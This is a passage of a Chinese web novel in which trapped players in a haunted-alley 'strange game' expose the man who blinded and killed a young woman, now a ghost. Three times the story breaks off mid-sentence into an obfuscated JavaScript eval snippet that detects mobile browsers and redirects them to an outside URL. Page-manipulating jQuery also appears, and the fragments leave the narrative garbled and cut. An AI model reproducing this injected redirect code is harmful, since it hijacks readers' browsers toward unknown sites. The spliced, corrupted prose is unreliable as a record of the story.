吴恙顿了顿,一脸抱歉:“不好意思啊哥,我刚刚太紧张了,不过话说回来这诡异游戏是什么?” 两人互通了姓名,男人叫王德善,是干销售的。 王德善见吴恙态度良好,也没再生气,他低叹一声,满脸的愁苦:“你应该是第一次被卷进诡异游戏吧,这片街巷被那个女鬼的磁场影响,不通关游戏,我们谁都出不去。” 吴恙想起之前容叙拿出的诡异红眼睛,估摸着也跟诡异游戏有关。 他问:“听你的意思,你之前进过游戏,那怎样才能通关?” 王德善倒没隐瞒,很是坦诚: “我之前进过一次游戏,当时也是碰到鬼,还是我们几个参与游戏的人合力杀了那鬼,才通关出去。” 他低叹一声:“怕是这个游戏也要杀了那个女鬼,我们才能出去吧。” 吴恙沉思了片刻,又问道:“那一个游戏大概有多少参与者?如果通关不了呢,或者被女鬼杀死会怎么样?” 王德善很耐心,他尽可能地告知吴恙自己知道的一切,又很严肃地告诫:“进了这场游戏,所有的参与者就是战友,同伴,我们唯一的敌人就是女鬼,只有我们合力,才能赢得游戏,活下来!” 吴恙在心里快速消化一切。 从王哥的口中得知,一场诡异游戏的参与者人数不固定,或许只有一个,也或许有一百个,而输掉游戏的结果只有一个,死。 那死亡是与现实挂钩的。 王哥说,之前游戏里死的人,现实中会以正常方式死亡,这也是诡异游戏没引起大量恐慌的原因。 吴恙暗忖,容叙和那几个追他的人估计也进入游戏了。 他甩掉他们前,就已经进入这游戏里。 现在女鬼怕是在追着他们吧。 吴恙这时候倒挺希望容叙能有什么特殊手段,好击杀了那女鬼。 暗巷的另一处地方。 “是你吗?” 一个男人僵硬着扭头看向他身后紧贴的女鬼,当看到那没有双眼的长发女鬼时,不可自抑地发出尖叫声,下一瞬,他的脖子被女鬼扭断,僵直地倒在地上。 容叙和另外几个男人惊惧地看着眼前的恐怖画面,有人又发出惊叫,瞬间便吸引了女鬼袭击。 女鬼穿着红色破烂的长裙,凌乱的黑色长发只露出半张苍白的脸,本该是眼睛的地方空洞洞的,挂着两行血泪。 她发出凄厉的叫声:“是你吗?!!” 然后就贴到另外一个叫出声的男人脸前,再次扭断对方的脖子。 仅仅几秒钟,两个身形魁梧的男人就死在女鬼的手中。 其他几人见状,赶忙逃跑。 容叙死死咬着牙,没有发出一丁点声响。此时他背后的寒毛都竖起了,死亡的威胁令他只管不要命地往前跑。 他心里后悔的厉害,早知道今天会这样,他就不围堵吴恙了。 他没想到,自己竟然会进入传说中的诡异游戏里。 不是概率很低吗,这都能让他碰到。 容叙之前没进入过诡异游戏,但他有特殊的渠道知道这些,如今他反而庆幸起来,自己提前买了些诡器。 诡器是有些参与者进入诡异游戏后杀掉boss通关得到的奖励,这些对于以后会再次进入游戏的人能起到保命的作用,所以市场上流通的诡器很少,但只要钱给得够多,也会有人卖。 容叙今天就拿了两个诡器,一个可以混乱五感,还有一个能将任何东西定住三秒。 诡器都是有限制使用次数的,也有使用时间,之前那个混乱五感只能用一次,时间也只有十分钟。 而他现在身上唯一剩下的能定住女鬼三秒的诡器,倒是可以用三次。 这是他仅剩的保命手段,他必须好好利用。 他现在只摸透一个游戏规则,那就是不能发出声音,否则会被那个女鬼扭断脖子。 容叙之前对这诡异游戏好奇,还花过重金打听那些通关者的游戏经验。 按照那些说法,这次的诡异游戏大概率要杀掉女鬼才能通关,可他们该怎么杀掉女鬼啊。 一般游戏内会有特殊道具,要是真的要杀女鬼,必定会有能杀掉女鬼的道具。 容叙跑了很久,久到他再也看不到女鬼,便气喘吁吁地扶着墙休息。 他已经跟手下的保镖们跑散了,刚刚保镖们的表现,也很难在这场游戏里保护到他。 他心想等出去一定要换一茬新的保镖,十几个人打不过吴恙就算了,现在碰到诡异,跟白菜似的让女鬼乱杀,而且还吓得到处乱窜,一点用也没有。 都是废物。 容叙想到吴恙,他猜测吴恙也进了这个游戏,但吴恙被混乱五感的诡器影响,说不定进来就被女鬼给干掉了。 说实在的,现在他倒希望吴恙能安全,毕竟游戏里多一个实力强劲的参与者,就多一份活下去的希望。 容大少爷此时已经忘了自己之前是怎么要搞死吴恙了,怕是真的见到吴恙,吴恙不等女鬼,先亲自干掉他。 另一边,吴恙听到有人往这边跑来,他看过去,那人身后正跟着那长发女鬼。 他听到女鬼还在问:“是你吗?” 他眸底不由划过一抹深思。 女鬼在找人? 吴恙看到那个被追的正是容叙的手下,那人一个趔趄,直接摔倒在地,当女鬼贴在他身后问‘是你吗’时,他吓得乱挥胳膊大叫。 “走开!走开啊!” 女鬼飘在空中的身形顿了下,不知道怎么,吴恙能感觉到女鬼像是有些失望。 女鬼那空了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814675|158659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一块的眼眶黑洞洞地盯着尖叫的男人,冲上去扭断了对方的脖子。 “不是你!” 吴恙立即就明白了,女鬼看不见人的模样,只能靠声音去辨别对方是不是她要找的人。 如果不是,就杀掉。 那如果是呢? 吴恙心想,反正自己肯定不是,他坚决不能发出声音,这样或许还能活下来。 王德善见吴恙在观察女鬼,一脸佩服不已的表情,等女鬼消失,他才敢用气音称赞:“小吴兄弟,你胆子可真大,我看见那女鬼都吓得腿软,你竟然盯着她看,也不怕她发现你冲过来袭击。” 吴恙面色平静,从进入这个游戏后他的表情一直都很淡定,哪怕女鬼趴在他身后,他也没惊慌失措过。 他低声解释:“女鬼杀人的触发条件应该是听到人声,所以就算被女鬼贴脸,也不要叫出声。” 他将自己的分析说给王德善听,在他看来,王德善之前拉他一把,也算是信得过的同伴,所以并没藏私。 听到女鬼在找人,王德善脸色有些许异样,他不安地询问:“那我们该怎么办,总不能一直躲在这里吧。” 吴恙此时倒很想抽根烟,可惜条件不允许。 他轻叹一声:“既然是游戏,那必定有通关的线索,在这待了一会也没什么提醒,看来我们得摸出去找找别的。” 王德善的脸上有几分害怕,但还是点了点头:“行,我都听你的。” 吴恙正欲往前走,一个踉跄差点把自己给摔了。 他稳住身形,尴尬地摸了摸鼻子,差点忘了自己五感已经恢复正常了。 两人静悄悄走出去,此时女鬼并不在这条巷道,他们小心翼翼地往另一个方向挪动。 吴恙记得这处循环的地图,右手边三条巷道为一个循环,左边或许还有别的巷道。 只希望地图不至于太小,别来个转角遇到鬼就行。 鬼是没遇到,倒是遇见了老熟人。 吴恙眯起眸子,盯着不远处的容叙,随即缓缓勾起唇角,像是老熟人一般低声打起招呼:“容少,还真是,冤家路窄啊。” 他卡在拐角处,要容叙再搞出什么诡异手段,他立马能跑。 对方总不能0帧起手,而且有点脑子的也知道,进了这游戏,把诡器用在其他参与者身上就是浪费。 容叙见到他此时最想见也最不想见的男人,对方看起来已经恢复了五感,随时都是进攻的姿态,带着极强的威慑力。 他周身再无保镖,明明之前还是追击猎豹的猎人,现在局势改变,猎豹盯着损失臂膀的他,露出了尖锐的獠牙。 他不由咽了口唾沫,对吴恙的目光很是忌惮。 不过想起自己手上的诡器,他又有了几分底气。 他低声道:“吴恙,我们合作吧,我这里还有诡器,能对付那女鬼,等出了游戏,我再也不对你下手,还会给你五千万补偿,怎么样?” 这次主动求和的变成了容叙,他那张向来骄矜傲慢的脸此时有些阴沉,这还是他头一次如此低声下气。 吴恙摸了摸下巴,对那五千万并不怎么心动。 他挑起眉梢,匪气毕现:“要不这样,你下跪给我道个歉,我就放过你。” 容叙脸色一下子沉成锅底,他压制着怒火,艰难地压低嗓音,几乎是咬牙切齿:“你别给脸不要脸。” “既然合作谈崩了,那就甭谈了。”吴恙很是无赖地耸了耸肩,下一瞬,他的眸色冷凝,嘴角的笑意戾气十足。 “容叙,你说我把你腿打断,你还能这个游戏里活下来吗?” 容叙脸色一白,他拿出一个纸折的相机,对着吴恙威胁:“你知道我有诡器,要是这道具用在你身上,你也逃不出女鬼的手心。” 吴恙身形顿住,他轻嗤一声,很是不屑。 “让我猜猜容少你的手段,应该不足以杀了女鬼吧,所以你主动求和,就是想让我动手,对吧?” 他的目光落在那纸相机上,又轻笑一声:“如果真是什么不得了的东西,你之前为什么不用在我身上,要么是不至于,要么是,用了也没多大作用?” “所以你现在剩下的应该只有短暂限制行动的手段,就算你对我使用了诡器,也伤不到我。” “诡器应该也限制使用次数吧,不然你不该用这相机,而是之前那个红眼睛,它确实有用的很,让我差点栽了跟头。” 容叙满脸震惊地看着那信誓旦旦的男人,对方怎么能这么自信,简直就是笃定了他不敢。 他忽然就没那么厌恨对方了,甚至觉得对方这幅模样帅得没话说,他虎口不由发酸,难耐地捏紧了拳头。 他一直觉得只有谢观言那种天仙才配得上他的喜欢,如今他的灵魂像是被人狠狠一撞,一双眼睛就只能看得见这个让他恨得牙痒痒的人。 容叙难得笑了,又爱又恨地盯着吴恙。 “你可真是个怪物。” 4. 暗巷的尾随者 怪物? 吴恙听到后一点也不生气,反而有些愉悦,他勾起唇,眸里映着光:“多谢夸奖。” 怪物是对不平凡者的谬赞。 他从来就没打算做个普通人,当他意识到这个世界有荒诞诡异后,便清楚自己必定踏入其中。 曾经幼时听到的系统声音或许不是幻想,应该是真实的。 他可能真的是这个世界的主角。 想清楚这些后,吴恙看容叙的目光就不仅仅是杀意了,还带着一点征服。 在他看的许多小说中,这样在主角面前蹦跶的角色,要么被收服,要么被炮灰。 不过吴恙也不着急收服对方,他可不是什么以德报怨的人,以为靠着怀柔政策就能感化一个曾经害自己的人。 容叙这种狗东西,他得用拳头打服,打怕。 他漫不经心地笑了:“容叙,求和也行,把你的诡器给我,再告诉我你知道的所有信息,我就接受与你合作。” 容叙看着面前狂得不像话的男人,竟不生气,心跳得更快了。 对方那目空一切的气势,他还真没在谁身上见过,哪怕身边有不少高高在上的家伙,但大都是收敛着的,虚伪极了。 哪有吴恙这样直白张扬的,仗着年轻会打架,脑子好长得也好,就肆意地展露自己的锋芒。 只一眼,便叫人移不开目光。 也让人血液沸腾。 作为一个男人,容叙此时真的很想将对方压在床上,也不知道吴恙还能不能保持这幅嚣张的模样。 想想都很带劲。 吴恙之前听到的秘密是真的,容叙确实对女人硬不起来,也去医院看过,但他身体健康,医生说是他欲望阙值太高,很难对谁生起杏/欲。 哪怕他曾经喜欢谢观言也没硬过,觉得心上人只可远观不可亵玩。 而现在,面前的男人轻易就勾出他内心的恶兽,将他一直打不开的门轻易踢开。 他恨不得解开皮带,让吴恙看看自己鼓起的弧度,拽着他头发问他自己到底举不举。 吴恙感受到容叙那灼热的目光,就好像要扒开他的衣服,撕咬他的血肉。 他眼神瞬间冷了下来。 算了,要不还是把容叙干掉吧。 结果下一秒,容叙举起手,作投降状。 他直勾勾地盯着吴恙,那张英俊傲慢的脸带了几分乖顺求饶,语气也软了下来:“好啊,我听你的,诡器给你,我知道的情报也告诉你,我们合作。” 容叙那平时精致无比的头发此时凌乱得很,几缕发丝遮住了他硬挺的剑眉,却没遮住他那双眼里直白的算计。 他仿佛明摆着说:‘我今天认输低头,只是权宜之计,日后我还会像恶狼一样咬你一口。’ 吴恙瞳孔微颤,他也感到些许兴奋来,与狼为伴或许会带来一个凶猛的助力,但也要随时警惕着被反扑。 男人骨子里都喜欢刺激的,他舔顶了下自己的虎牙,像是站在驯兽场的战士,与面前狡猾凶恶的野兽开始较量。 他哈地轻笑了声:“好,我丑话说在前面,我们合作后就是队友,之后要将后背交给彼此,如果我发现你敢有一丝阴我的想法,我会毫不犹豫杀了你。” 容叙点头,干脆利落地将自己的诡器上交,还专门把衣服口袋里的东西全取出来让吴恙看个干净,态度很是真诚:“没问题。” 吴恙倒意外他没在这上面搞小动作,他只微微挑起眉梢,便接过那诡器。 这相机放在平时谁会在意,怕是只当做小孩折的玩具,但他拿到手后,吴恙就知道,这是真的诡器,超越现实的道具。 容叙凑近吴恙,他扫了眼一旁的王德善,目光有些不善:“你凑近些,我只跟你合作,可没说过要跟他合作。” 他骨子里的高傲让他瞧不起王德善这种一看就社会底层的人。 王德善见那大少爷这样,脸色变得讪讪,只能往旁边挪了些,挺卑微的。 接下来容叙便凑到吴恙耳边说了那诡器的用法,还告诉了他之前搜集的情报。 吴恙听得很认真,心中思考该如何对付那女鬼。 通关条件是杀掉女鬼的话,那一定会有能杀女鬼的道具,而容叙给的诡器用处确实不大,但用法得当的话也能在关键时候起到作用。 容叙讲完后注意到吴恙思索时的神情,他忽然意识到他们离得很近,近到他能看清吴恙垂下的长睫,如鸦羽一般,在漆黑的眸里落下阴影。 他又注意到,吴恙的右眼皮上有一颗很淡的红痣,当他垂下眼时,这张硬朗帅气的脸平添了几分蛊色。 容叙不由闭住气,他生怕自己呼出灼热的气,暴露自己此时的心乱。 见识到两人怪异氛围的王德善,好像个空气,他弱弱地发出声:“我们得快点找道具,好杀了那女鬼。” 吴恙点头,注意到容叙过近的距离,皱了皱眉,后退了些。 他问容叙:“你刚刚经过的地方有什么奇怪的东西?比如道具之类的。” 容叙按捺心底的可惜,无辜摇头:“光顾着跑了,那女鬼似乎听到人声就会杀人,也不知道在找谁一直问个没完。” 既然如此,还是得摸清楚全部地图。 这片暗巷周围都是墙面,之前吴恙跑的那几条路是右边,他摸着墙也没摸到其他东西,现在他得去左边探探。 三人不谋而合,便静悄悄往左边的巷道走去。 进入左边的巷道后,他们看到的依然是黑漆漆的巷道,阴风拂过,仿佛听见呜呜的声响。 又是一个走到头又回到起点的路,周围什么都没有,他们在这暗巷走了好几次。 好消息,没碰到女鬼。 坏消息,根本没有出路,还一路上见到好几个死人,都是之前和容叙一起的那些保镖,被扭断了脖子,死状很惨。 看数量,那些人都死了,这个游戏里怕是只剩下他们三个活人了。 终于,走到最后一个很偏的巷道时,他们看到的不再是没有尽头的墙面。 这里竟有一处住宅区。 他们正要高兴,却发现那些门根本打不开。 那住宅区黑压压的,只有最后一个屋子是亮着的。 那里仿佛被隔绝在另一个空间,他们再如何用力也打不开门,只能在外边探望窗户里的景象。 这里出现唯一一个亮着的房子,那必然跟这个游戏有些关系。 窗户打开,一个老太太探出头来张望,似是在等人。 明明吴恙三人就站在大门口,但老太太像是没有看见,她苍老的脸上尽是忧愁和难过。 吴恙心想,老太太等的人,女鬼要找的人,还有这两者,是否有什么关联。 吴恙脑子里的疑问太多了,这个所谓的诡异游戏没有开端,悄无声息就开始了,也没有提醒,更不知道怎样才能结束。 若不是王德善说这是个游戏,他会更相信自己是见鬼了。 他们看了好一会,老太太那里的空间仿佛是循环的,过一会便在窗口张望一下,每个动作每个表情固定得毫无变化。 他们又往别处看了下,什么都没有,便走出这个巷道。 这次运气并不好,刚出巷道,他们便看到了那个女鬼。 女鬼正往这边过来,三人同时一惊,他们周围也没躲藏的地方。 吴恙用手捂住口鼻,尽可能地闭着气,他示意大家往边上躲去,不要发出任何动静。 女鬼听不到声音,应该不会发现他们的存在。 容叙和王德善纷纷照做,他们都紧张地避开着女鬼。 红裙女鬼看不见任何,只能摸索着前行,她双脚赤裸,一步一个血脚印,走得踉踉跄跄。 她就这样,从三个人面前经过,近得只要女鬼往这边靠近些便能用尖长的指甲划破他们的脖颈。 吴恙又开始观察起女鬼来,看着生前是个年轻的女孩,他的目光掠到女鬼的腹部,瞳孔一缩。 他示意其他人看女鬼的腹部。 容叙和王德善看过去,便看见女鬼肚子上正插着一把水果刀,看着还在淌血,所以每一步都会留下一个血脚印。 他们走了一路,都没找到任何能杀女鬼的道具。 如今,唯一的道具,竟在女鬼身上。 要上去拿道具,和主动送死有什么区别。 等女鬼离开后,王德善满头大汗地瘫软在地,他脸色苍白,嗫嚅开口。 “这可怎么办啊,能杀女鬼的道具就在女鬼身上。” 容叙脑子灵光闪过,他看向吴恙,吴恙也看了他一眼,他们同时想到用纸相机。 说不定真能抢到女鬼身上的刀。 不过吴恙有些担忧,那刀真的能杀死女鬼吗。 无论如何,他们四周也找了个遍,唯一的可能就在那把刀上,就算很危险,也得试一试。 不过,谁来拔刀,是一个问题。 吴恙看了眼四体不勤的容叙,又看了眼瘫软懦弱的王德善,怎么看,还是他拔刀更有胜算。 但他拔刀的话,大概率吸引女鬼的仇恨值,他会处于最危险的地步,而他也需要有人用纸相机拖延住女鬼。 是交给跟他有仇但现在表面合作的容叙? 还是交给救他一次却素不相识的王德善? …… 容叙看出了他的顾虑,笑了:“怎么,怕我阴你?” 吴恙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在吴恙略带不耐的目光中,容叙只能把这哑巴亏吃了,他愤愤不平地跟吴恙走出巷道,去找女鬼。 他其实心里也有些怕,但跟王德善那没用的软蛋模样比,他又有自己的傲气。 他才不想在吴恙面前露出怯来,让吴恙看不起他。 两人走过几个巷道,很安静,他们不能发出动静吸引女鬼,最好像之前那样女鬼自己走过来。 运气还算不错,第三条巷道就再次遇见女鬼了。 吴恙跟容叙对视一眼,容叙稍微靠后些,他手中的纸相机已经准备就绪。 吴恙紧紧盯着女鬼腹部,他秉着呼吸等女鬼走近。 “咔嚓”一声,纸相机对着女鬼按下快门。 女鬼身形僵住,吴恙瞬间出手。 他抓住女鬼肚子上的水果刀用力拔出,很紧,他手背鼓起青筋也难拔出来。 “快点啊!” 容叙急得出声。 三秒结束,吴恙终于拔出水果刀,在女鬼动的下一瞬,他将水果刀再次捅进女鬼脖间。 这是很冒进的决定,他们本打算只拔刀再找机会攻击女鬼,现在吴恙抓了机会干脆试试这水果刀对女鬼有没有用。 女鬼发出尖利的叫声,她锐利的指甲袭向吴恙的身体,吴恙迅速躲过。 “是你!是你!!!” 女鬼被捅了一刀,虽然身形僵硬了一瞬,但还是能行动,那水果刀并不能对她造成伤害,甚至因为吴恙捅的一刀进入暴走阶段。 女鬼动作变快,四肢飞一样地冲向吴恙,她那尖长的指甲眼看着就要刺入吴恙的胸膛。 吴恙躲开女鬼致命的袭击,以一个利落的动作将女鬼踹飞,容叙紧跟着用下第二次纸相机的定格。 女鬼身形定住三秒。 吴恙手里紧紧握着水果刀,拉住容叙便往另一处跑去。 他们跑了很久,绕了很多条巷道,谁也没出声,终于女鬼没再追上来,两人才低喘着气靠在墙上。 吴恙看了眼容叙,他没想到容叙刚刚竟没丢下他就跑,还跟他打出配合,甩掉了女鬼。 容叙气喘吁吁,但脸上表情难掩得意:“怎么样,我的表现还行吧?” 吴恙勾起唇:“还行。” 容叙费了很大劲才压住翘起的嘴角,他感觉跟吴恙合作真的很安心。 吴恙这个人,还真是很有人格魅力。 也让他,更加想要征服。 注意到容叙灼热的目光后,吴恙冲他挥了挥手中的水果刀。 “再用这种眼神看我,我就挖出你眼睛。” 他刚说完,忽然就愣了下。 那个女鬼的眼睛也被挖了,是谁干的?女鬼想要找的那个人吗? 吴恙语气淡淡:“走,我们去找王德善。” 容叙撇了撇嘴,很不高兴:“找那废物干嘛。” 吴恙看着手里小巧的水果刀,眸色暗涌,他道:“他可不是废物。” “他把我们都骗了。” 5. 回家的明灯 吴恙一直相信一件事。 种因得果,恶因得恶果。 可怕狰狞的女鬼不可能是突然出现的,她生前必定遭受了什么伤害,而她一直找的那个人,或许就是伤害她的人。 游戏必定有通关的方法,其实一开始这个诡异游戏就给了提醒,女鬼一直在寻找的“你”,就在他们这群玩家当中。 排除掉他,容叙,还有死去的那些保镖们。 那这个“你”,就只能是他现实中不曾认识的王德善。 尽管对方看着唯唯诺诺一副窝囊模样,之前还救了他一把,但吴恙依旧直觉对方有问题。 从第一次见到对方,他就有种违和感。 “他骗了我们?” 容叙很是不解,他虽然很讨厌王德善,但真没看出来对方有什么怪异的。 而且诡异游戏最大的boss不就是女鬼吗,王德善从头到尾都表现出一副害怕的模样,也不像是演的。 吴恙看了容叙一眼。 容叙立即就品出对方眼神里的意味来,那是看傻子一样的目光。 容叙气急败坏,他想问清楚,又怕被真的当成傻子。 吴恙一边走,一边说:“具体的等找到王德善再说。” 他又叮嘱了一句:“如果王德善不对劲,相机的最后一次用在他身上。” 或许这个游戏,根本就不用杀死女鬼。 王德善才是关键。 吴恙此时倒挺感谢这个巷道没什么藏匿点,他在之前王德善拉他隐藏的地方找到了对方。 王德善看见他们,脸上止不住的惊喜,在看到吴恙手里多出的水果刀,更是眉开眼笑:“我就知道小吴兄弟你的实力不错,这下子我们终于可以杀掉女鬼了。” 吴恙神色淡淡,跟之前无异,他走上前,似是要将水果刀递给对方。 王德善面露喜色,也想要接过来。 一旁的容叙皱起眉头,他心想吴恙不是说过王德善有问题吗,怎么就这么把好不容易得到的道具给了对方。 刹那之间,吴恙将水果刀插在王德善手心,速度快得惊人,令谁都措手不及。 王德善痛得脸色大变,差点就叫出声来,硬生生咬着牙咽了下去。 他另只手握住鲜血淋漓的手,怒不可遏地瞪向吴恙,声音压得很低,目光恨恨且不解:“你在做什么?!” 容叙也被这突如其来的变故给吓一跳,他觉得眼前的画面过于眼熟。 之前头顶被开瓢的伤口开始隐隐作痛。 妈的,吴恙这家伙是真的心狠手辣还阴险,这猝不及防的一下,谁他妈能挡得住。 吴恙干脆利落地抽出水果刀,目光凌冽地盯着王德善痛得几乎变形的脸。 他低嗤一声,声音十分笃定:“你不是玩家。” 王德善目光闪烁了一瞬,很快便恢复冷静,他咬牙切齿地怒瞪吴恙,眼神恨不得杀了对方。 他气得呼哧作响,跟个破风箱似的:“你凭什么这么说,我只是个被卷进这破游戏的普通人,我还他妈帮了你一次,你就是这么对待你的救命恩人?!” 吴恙耸了耸肩,表现出一丝歉疚来:“哦,那对不起了,王哥。” “但,谁让你是这场游戏的关键,你才是女鬼要找的人吧。” 王德善脸色肉眼可见的慌张起来,他还是硬着头皮恶狠狠道:“放屁,我还说是你呢,要么就是他。” 他指向容叙,很是窝火吴恙凭什么只对自己对手,明明之前这两人还一副敌对的模样。 容叙莫名被迫脏水,气地冲上去给了对方一脚。 他是打不过吴恙,但还轮不到这姓王的在他面前张狂。 “进了这游戏后就他妈的你最不对劲,现在挑拨我两关系,我两早认识了,而且这场游戏死的其他人都是老子的保镖。” “我总算知道你为啥怕女鬼了,你是做了什么见不得人的事,招女鬼报复了吧。” 吴恙挑了挑眉,心想容叙这二货总算长了点脑子。 他将手中的水果刀挽了个很漂亮的刀花,缓步靠近弱小无助的王德善,面带微笑。 此时的他倒更像是坏人。 “别装了,王德善,我不仅仅是靠着这个猜测,还有别的证据。” 王德善眼睛睁大,他死死捂着伤手,痛得脸色狰狞,他不甘问道:“你还有什么证据。” 他心很慌,但他还是强迫自己冷静下来。 怎么可能有证据,这巷道的任何线索都被他抹得干干净净,以往遇到任何玩家他都没有暴露过,而且他看着就是个普通人啊,面前这个人凭什么那么笃定他有问题。 吴恙居高临下地看着男人。 他眼睫低垂,面色平静如水,修长好看的指间把玩着水果刀,慵懒又随意,但王德善好像看到个煞星,吓得脸色发白瑟缩着往后躲。 吴恙道:“你说你在上一个游戏里跟人合力杀了诡异,但你那么胆小,你真的会对诡异动手?” 王德善硬着头皮道:“就算我没动手,那又怎样,只要有人杀了诡异,这个游戏就会结束,谁都可以出去!” 吴恙点头,轻笑了声:“看来,你并不知道这诡异游戏的规则啊。” “任何参与者进入诡异游戏后,只有完成游戏通关要求,或者亲自击杀诡异,才能保留记忆,而不管是帮忙的还是躺赢的,事后都会忘记游戏里的一切。” 王德善猛然抬头,差点没忍住拔高声音:“怎么可能,你也不过是第一次进入诡异游戏,你怎么可能知道这些!你凭什么靠着胡乱猜测就对我下手!” 吴恙笑了,笑得轻慢:“我之前应该是进过一次游戏,但那次并非我主导赢得游戏,所以我不记得发生了什么。” 前几天,他去看望了下之前一起赛车时活下来的那个人,对方看着精神崩溃,看到他后就一直说什么死亡赛车游戏,说是他死死挡住了魔鬼的车子,才让对方赢下了游戏。 吴恙并不记得一切,但他记下了这件事。 进入这个所谓的诡异游戏后,他便相信那个人说的都是真的。 “我猜猜,你在这个地方待了很久,也不算人了,你可以拉玩家进入这个游戏,而我们这些玩家,都是替你阻挡女鬼追杀的吧。” “毕竟,你没有实力跟女鬼正面对抗,所以你希望玩家能杀死女鬼,你装作玩家,在一开始见到我就强调要杀了女鬼才能通关游戏,其实根本不用,因为这个游戏,只要帮助女鬼找到你,就行了。” 王德善瞳孔放大,脸色变得难看极了。 他难以置信有人会将一切猜得这么准,将他的所有谎言,伪装全部揭露。 他确实被女鬼困在这个地方,被女鬼追杀。 他也只能看到周围一公里的视野,在看到吴恙将那么多人撂倒时,他以为自己的机会来了,便将他们拉进这个游戏。 他觉得面前这个人一定能帮他杀了女鬼。 结果,他竟然被对方察觉了真实意图。 他恨啊! 他死死盯着吴恙,心想只要杀了对方,就没人知道通关游戏的办法。 王德善那张和善懦弱的脸开始变形,扭曲,他身形佝偻起来,黑蒙蒙的,依稀可见的五官变得猥琐邪恶,像只阴沟里的老鼠。 他冲上前想要袭击吴恙。 吴恙喝了声:“容叙!” 容叙之前还有些愣神,他听到吴恙的那通分析后,简直佩服得五体投地。 吴恙怎么能那么聪明啊,真就是个怪物。 操,更想操了。 听到吴恙的声音,他立马回神,几乎是条件反射般拿出纸相机就对着王德善按下快门。 咔嚓一声,定格三秒,吴恙顺势用水果刀废掉王德善另一只好手,以残酷的手段再次捅进对方腹部。 当定时结束时,王德善再也忍不住痛苦,嚎叫出声。 吴恙眼睛一亮,他躲开王德善的攻击,拉着容叙往后躲开。 “我要杀了你们!” 王德善气得抓狂。 下一秒,一个红色的身影冲了上来,那苍白的四肢扑向王德善,那张诡异可怖的脸上满是愤怒和恨意。 “是你!!!” 王德善又恐惧又绝望,疯狂地想要甩掉身上的女鬼,但女鬼好不容易找到他了,又怎么肯放过他。 王德善气得咬牙切齿:“你们都该死,我不会放过你们的!!!” 他身形暴涨了一倍,脸部变得更加狰狞可怖,与贴在他身上的女鬼撕扯打斗起来。 女鬼咬下他脖子一块肉来,王德善发出怒吼声:“我能杀你一次,就能杀你第二次!!” 两个诡异缠打在一块,一旁的容叙已经被面前一幕给惊呆了,他问吴恙:“我们该怎么做?” 吴恙手中握着那把水果刀,语气淡淡:“还能怎么做,去帮女鬼干掉王德善。” 容叙挺不安的:“女鬼干掉王德善后会不会再来干掉我们啊?” 吴恙侧头看了他一眼,凉凉一笑: “那你一会给她跪下求饶试试。” 容叙:“……吴恙我是真想干死你。” 吴恙没理他,拿着水果刀便冲上去劝架了。 女鬼的攻击力很高,但没有眼睛,不太方便,她此时被异化的王德善压制着。 但王德善也讨不到什么好处,他要能杀死女鬼,早就杀了,又何必装玩家骗别人去杀女鬼呢。 吴恙表面劝架,实际上拉偏架。 一把刀出其不意地捅在王德善的后心口,王德善痛得大叫一声,发现是吴恙,气得想要杀了吴恙。 但吴恙很灵活,他根本抓不住,还因为分神被女鬼硬生生撕咬下好几块肉来。 王德善怒吼:“你帮着我杀了她你也能离开这游戏!!!我还救过你一次,你凭什么帮她!” 吴恙脸颊沾血,微微撩起眼皮,声调懒散又欠揍:“抱歉啊王哥,是个男的都看不惯你一个大老爷们欺负人家一个女孩子。” 王德善气得吐血,现在相对于杀了女鬼,他更想杀了吴恙。 可惜,吴恙的边他也没挨到一下,尽管那水果刀伤害力不高,也经不住时不时被捅一下。 这场厮杀,有了吴恙这个金牌调解员,优势逐渐回到女鬼这边。 吴恙也很小心避开着女鬼,毕竟女鬼看不见,随便给他一爪子也能送他死。 终于,王德善被女鬼咬住咽喉,彻底没了生息。 吴恙耳边听到系统声音。 【恭喜玩家完成诡异游戏——暗巷的尾随者。】 【随机抽取游戏奖励。】 【恭喜获得奖励技能,暗巷的尾随者( ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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女鬼,不,叶婷那副狰狞可怕的模样渐渐变回生前原本的模样,她的双眼缠着纱布,露出的五官是漂亮苍白的,那破烂的红裙也消失了锈斑一样的血迹,变成干净的白色连衣裙。 若是双眼还在,若是还活着,她本该拥有阳光明媚的人生。 可一切,都被王德善毁了。 “对,他害惨了我……” 她讲出自己的故事,字字泣血,恨之入骨。 原来叶婷曾被王德善尾随过,那一晚她被对方压在身下,她狠狠挣扎,拼死反抗。 虽没让对方得逞,却被王德善拿刀划伤了眼睛。 奶奶出来寻她,王德善听到动静后跑了,而叶婷也失去了双眼。 那之后,是奶奶陪着她度过最艰难的时期。 她因为失明,无法指认出凶手,那片巷道没有监控,凶手一直没找到。 后来,她总是摸索着去那条巷道,随身携带着刀……哪怕心里恐惧,她也想听到那人的声音,找到那个人。 终于,她再次听到那个恶心的声音,同时也听到另一个女孩的求救声。 王德善不曾被抓到,竟又侥幸地生出变态的心思。 就在他准备施暴时,叶婷拿着一直藏在袖子里的水果刀冲了上去。 可惜,她是个瞎子,不仅没能成功,还被抢走了水果刀捅进腹部。 她想救那个女孩,可女孩因为见到王德善杀人,想要报警,却被其紧紧掐住喉咙。 听到女孩微弱的求救声,恨意从叶婷心底爆发,恶欲使她拥有力量,也变成恶鬼。 她被仇恨迷失了心神,成为杀人的怪物。 叶婷讲起这些过往,那蒙在纱布里的眼睛再次流出血泪,染红了洁白的纱布。 “……我将他困在我的游戏里,我想找到他,但是他太狡猾了。 